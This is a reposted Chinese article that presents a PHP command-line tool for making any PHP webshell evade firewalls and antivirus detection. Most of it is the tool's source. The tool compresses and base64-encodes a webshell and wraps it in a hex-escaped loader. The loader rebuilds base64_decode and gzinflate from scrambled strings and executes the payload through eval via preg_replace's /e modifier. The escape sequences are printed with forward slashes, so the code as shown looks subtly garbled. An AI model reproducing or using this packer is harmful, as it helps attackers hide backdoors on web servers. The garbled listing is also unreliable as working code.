|
|
這不是webshell,只是個webshell免殺工具
切勿當初webshell使用
僅限免殺phpwebshell
該工具運行在 cli 模式！
如果有無法突破的文件內(nèi)容過濾 可嘗試下用這個工具 免殺大馬！
任意php webshell 通過此工具編碼之后可以饒過國內(nèi)一些bt的防火墻
復制代碼 代碼如下:
<?php
/*
Title: php shell nokill T00L
Blog: exploit-db.blogcn.com
*/
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file,$output_file);
echo "php shell nokill T00L/r/n";
echo "Blog: exploit-db.blogcn.com/r/n";
echo "Input: {$input_file}/r/n";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
echo "[+] Generate success!/r/n";
echo "Saved to {$file_full_path}"."/r/n";
} else {
echo "php shell nokill T00L/r/n";
echo "Blog: exploit-db.blogcn.com/r/n";
die("[-] Failed ! The File $input_file does not exist");
}
function No_kill_c0de($input_file,$output_file){
$no_whitespace=php_strip_whitespace($input_file);
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode="/x3c/x3f/x70/x68/x70/xd/xa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."/xd/xa";
$shellcode.="/x24/x62/x3d/x73/x74/x72/x5f/x72/x65/x70/x6c/x61/x63/x65/x28/x27/x66/x27/x2c/x22/x22/x2c/x22/x62/x66/x61/x66/x73/x66/x65/x66/x36/x66/x34/x66/x5f/x66/x66/x64/x66/x66/x65/x66/x66/x63/x66/x66/x6f/x66/x66/x64/x66/x66/x65/x66/x22/x29/x3b/xd/xa/x24/x67/x3d/x73/x74/x72/x5f/x72/x65/x70/x6c/x61/x63/x65/x28/x27/x58/x27/x2c/x27/x27/x2c/x27/x67/x58/x58/x7a/x58/x58/x69/x58/x58/x6e/x58/x58/x58/x58/x66/x58/x58/x58/x6c/x58/x58/x61/x58/x58/x58/x74/x58/x58/x58/x58/x58/x65/x27/x29/x3b/xd/xa/x70/x72/x65/x67/x5f/x72/x65/x70/x6c/x61/x63/x65/x28/x27/x5c/x27/x61/x5c/x27/x65/x69/x73/x27/x2c/x27/x65/x27/x2e/x27/x76/x27/x2e/x27/x61/x27/x2e/x27/x6c/x27/x2e/x27/x28/x24/x67/x28/x24/x62/x28/x24/x65/x6e/x66/x69/x6c/x65/x29/x29/x29/x27/x2c/x27/x61/x27/x29/x3b/xd/xa";
$shellcode.="/x3f/x3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "php shell nokill T00L/r/n";
echo "Blog: exploit-db.blogcn.com/r/n";
echo "Usage: {$toolname} phpwebshell/r/n";
}
?>
php技術：php shell超強免殺、減少體積工具實現(xiàn)代碼，轉載需保留來源！
鄭重聲明：本文版權歸原作者所有，轉載文章僅為傳播更多信息之目的，如作者信息標記有誤，請第一時間聯(lián)系我們修改或刪除，多謝。
